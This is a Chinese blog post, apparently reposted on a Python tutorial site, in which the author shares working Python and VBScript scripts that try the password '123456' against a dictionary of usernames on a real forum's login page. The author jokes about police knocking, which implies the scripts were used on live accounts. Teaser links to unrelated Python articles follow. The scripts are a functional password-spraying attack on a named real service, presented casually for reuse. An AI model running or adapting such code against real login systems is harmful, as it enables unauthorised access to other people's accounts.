Python牛刀小试密码爆破

yipeiwu_com6年前Python基础
难道真的要我破解一个么?算了,正好试试我的Python水平。
python版
复制代码 代码如下:

#coding: gbk
import httplib, urllib

def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return False
elif res.find("不存在这个用户") != -1:
return False
else:
return True

for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
复制代码 代码如下:

Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With

Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密码不正确") Then
Check = False
ElseIf InStr(response,"不存在这个用户") Then
Check = False
Else
Check = True
End If
End Function

Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html

相关文章

轻松理解Python 中的 descriptor

定义 通常,一个 descriptor 是具有“绑定行为”的对象属性。所绑定行为可通过 descriptor 协议被自定义的 __get__() , __set__() 和 __dele...

Pytorch 搭建分类回归神经网络并用GPU进行加速的例子

Pytorch 搭建分类回归神经网络并用GPU进行加速的例子

分类网络 import torch import torch.nn.functional as F from torch.autograd import Variable impor...

用Python+OpenCV对比图像质量的几种方法

用Python+OpenCV对比图像质量的几种方法

前言 图片的本质就是大量像素在二维平面上的组合,每个像素点用数字化方式记录颜色。可以直观的想象,一张图片就是一个巨大的电子栅格,每个格子内有一盏灯泡,这个灯泡可以变换256的三次方种颜色...

解决python matplotlib imshow无法显示的问题

实例如下所示: import matplotlib.pyplot as plt plt.imshow(img) #控制台打印出图像对象的信息,而图像没有显示 解决方法: #引入pyl...

python面向对象 反射原理解析

一、静态方法(staticmethod)和类方法(classmethod) 类方法:有个默认参数cls,并且可以直接用类名去调用,可以与类属×××互(也就是可以使用类属性) 静态方法:让...